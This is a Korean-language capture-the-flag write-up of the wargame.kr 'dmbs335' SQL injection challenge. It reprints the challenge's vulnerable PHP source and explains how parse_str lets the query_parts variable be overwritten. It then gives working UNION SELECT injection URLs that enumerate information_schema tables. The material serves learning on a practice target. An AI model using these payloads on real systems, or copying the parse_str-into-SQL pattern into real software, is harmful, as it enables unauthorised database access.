SQL injection Challenge! (injection) - thx to dmbs335
다른 출제자가 낸 문제인가보다.
게시판이 하나 있는데 클릭이 안된다. 커서가 바뀌길래 클릭되는줄알았는데..
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include("../lib.php");
include("./inc.php"); // Database Connected
function getOperator(&$operator) {
switch($operator) {
case 'and':
case '&&':
$operator = 'and';
break;
case 'or':
case '||':
$operator = 'or';
break;
default:
$operator = 'or';
break;
}}
if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
exit('not allowed');
}
parse_str($_SERVER['QUERY_STRING']);
getOperator($operator);
$keyword = addslashes($keyword);
$where_clause = '';
if(!isset($search_cols)) {
$search_cols = 'subject|content';
}
$cols = explode('|',$search_cols);
foreach($cols as $col) {
$col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : '';
if($col) {
$query_parts = $col . " like '%" . $keyword . "%'";
}
if($query_parts) {
$where_clause .= $query_parts;
$where_clause .= ' ';
$where_clause .= $operator;
$where_clause .= ' ';
$query_parts = '';
}
}
if(!$where_clause) {
$where_clause = "content like '%{$keyword}%'";
}
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) {
$len = strlen($where_clause) - (strlen($operator) + 2);
$where_clause = substr($where_clause, 0, $len);
}
?>
<style>
td:first-child, td:last-child {text-align:center;}
td {padding:3px; border:1px solid #ddd;}
thead td {font-weight:bold; text-align:center;}
tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
<thead>
<tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr>
</thead>
<tbody>
<?php
$result = mysql_query("select * from board where {$where_clause} order by idx desc");
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>{$row['idx']}</td>";
echo "<td>{$row['subject']}</td>";
echo "<td>{$row['content']}</td>";
echo "<td>{$row['writer']}</td>";
echo "</tr>";
}
?>
</tbody>
<tfoot>
<tr><td colspan=4>
<form method="">
<select name="search_cols">
<option value="subject" selected>subject</option>
<option value="content">content</option>
<option value="content|content">subject, content</option>
<option value="writer">writer</option>
</select>
<input type="text" name="keyword" />
<input type="radio" name="operator" value="or" checked /> or
<input type="radio" name="operator" value="and" /> and
<input type="submit" value="SEARCH" />
</form>
</td></tr>
</tfoot>
</table>
<br />
<a href="./?view-source">view-source</a><br />
또 처음보는 php function이 있는데 parsestr이다.
찾아보니까 쿼리 스트링을 그대로 변수화해주는것 같다.
w3c에 있는 예시는 이렇다
<?php
parse_str("name=Peter&age=43");
echo $name."<br>";
echo $age;
?>
코드를 잘보면 keyword는 addslash가 되고 있고 cols는 regex되고 있다. 웃긴게 리스트에 없는걸 넣으면 ''가 되서 정말 아무거나 넣으라고 광고해주는거 같다..그리고 query_parts는 따로 뭐가 없다. 이것만 이용하면 blind injection을 할 수 있을 것 같다.
다음과 같이 쿼리를 날려보니 injection이 가능함을 알게 되었다
http://wargame.kr:8080/dmbs335/?search_cols=a&keyword=a&operator=or&query_parts=1%20union%20select%201,2,3,4%20#
이제 information_schema를 들쑤셔보자. 요건 simple board에서 쓴 쿼리 거의 그대로 사용했다.
http://wargame.kr:8080/dmbs335/?search_cols=a&keyword=a&operator=or&query_parts=1%20union%20select%20table_schema,table_name,3,4%20FROM%20information_Schema.tables#
그러면 이렇게 마주하게 된다

쭉 내려가보면 목표 테이블이 보이고, column 까지 조회해서 select하면된다.
갑자기 쉬운문제라 편하게 풀었던거같다